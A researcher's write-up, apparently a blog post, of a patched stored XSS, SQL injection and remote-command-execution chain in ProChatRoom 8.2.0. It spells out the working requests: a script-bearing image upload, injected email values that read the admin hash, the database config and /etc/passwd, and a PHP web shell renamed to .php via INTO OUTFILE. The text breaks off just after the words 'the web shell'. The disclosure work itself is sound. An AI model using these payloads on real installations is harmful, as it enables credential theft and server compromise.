I came across ProChatRoom during a web application penetration test. I found that version 8.2.0 of ProChatRoom was vulnerable to stored cross-site scripting (XSS), reflected XSS, SQL injection and ultimately to remote command execution by combining the stored XSS with SQL injection. These vulnerabilities were reported to the vendor who responsibly released a patch.
The vulnerabilities are also detailed on Exploit Database and SecurityFocus. In this article I will discuss these vulnerabilities in a little more depth.
In this article I will discuss about these vulnerabilities again since these websites do not publish images and I have been asked to show them.
Stored XSS
ProChatRooms is vulnerable to stored XSS. After registering an account, an attacker can upload a profile picture containing JavaScript code as shown below:
POST: https://example.com/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="uploadedfile"; filename="nopic333.jpg"
Content-Type: image/jpeg
<script>alert(document.cookie)</script>
By inspecting the response, the web application returns a 32 character hex string in the HTML tag “imgID” as shown below:
<input type="hidden" name="imgID" value="798ae9b06cd900b95ed5a60e02419d4b">The picture is uploaded under the web directory “/profiles/uploads” and is accessible by force browsing to the 32 character hex string as shown below:
https://example.com/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b
Reflected XSS
ProChatRooms is vulnerable to reflected XSS since the parameter “edit” is not encoded:
SQL Injection
ProChatRooms is vulnerable to SQL injection. Across all source code of the web application, PHP parameterized queries are used to query the database. However, a lack of data sanitization of three parameters leaves the web application vulnerable to SQL injection. The vulnerable parameters are located as shown below:
prochatrooms_v8.2.0/includes/functions.php: line 2437
$params = array(
'password' => md5($password),
'email' => makeSafe($email),
'id' => $id
);
$query = "UPDATE prochatrooms_users
SET email = '".$email."',
password='".md5($password)."'
WHERE id = '".$id."'
";prochatrooms_v8.2.0/includes/functions.php: line 2449
$query = "UPDATE prochatrooms_users
SET email = '".$email."'
WHERE id = '".$id."'
";prochatrooms_v8.2.0/includes/functions.php: line 3110
$query = "UPDATE prochatrooms_users
SET active = '".$offlineTime."', online = '0'
WHERE username = '".makeSafe($toname)."'
";Note that the “makeSafe” function is defined as shown below and will protect just against XSS attacks:
prochatrooms_v8.2.0/includes/functions.php: line 125
function makeSafe($data)
{
$data = htmlspecialchars($data);
return $data;
}
After registering an account, an attacker can exploit the SQLi by editing the field email as shown below which in this case will retrieve the MD5 hashed password of the administrator:
POST https://example.com/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
[email protected]', email=(select adminLogin from prochatrooms_config) where id ='1';#
Depending on MySQL permissions an attacker could retrieve the SQL connection string, which probably have clear-text database credentials.
POST https://example.com/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
[email protected]', email=(select load_file('/var/www/prochatrooms/includes/db.php')) where id ='1';#
Also, an attacker could read sensitive system files, such as the “/etc/passwd”:
POST https://example.com/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
[email protected]', email=(select load_file('/etc/passwd')) where id ='1';#
However, an attacker can’t upload a web shell through SQL injection directly. This is because of the “makeSafe” function, explained above. This means if an attacker tries to upload a web shell like this:
<?php system($_GET[cmd]);?>It will be encoded:
<?php system($_GET[cmd]);?>However, an attacker is still able to upload a web shell and maybe fully compromise the web server by combining the stored XSS and SQL injection vulnerabilities as discussed below.
Remote Command Execution
The following request will upload a PHP web shell and the web application will return a 32 digit value.
POST: https://example.com/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="uploadedfile"; filename="m.jpg"
Content-Type: application/octet-stream
<?php system($_GET[cmd]);?>
Response:
<input type="hidden" name="imgID" value="82d0635538da4eac42da25f8f95f8c45">Since the uploaded web shell is without a recognized server-side script extension such as “.php” it will not be executed:
https://example.com/prochatrooms/profiles/uploads/82d0635538da4eac42da25f…
Nevertheless, by exploiting the SQL injection is it possible to rename the file by appending a “.php” extension:
POST https://example.com/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
[email protected]' where id ='1'; SELECT load_file('/var/www/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45') INTO OUTFILE '/var/www/prochatrooms/profiles/uploads/s.php';#
Finally, the web shell: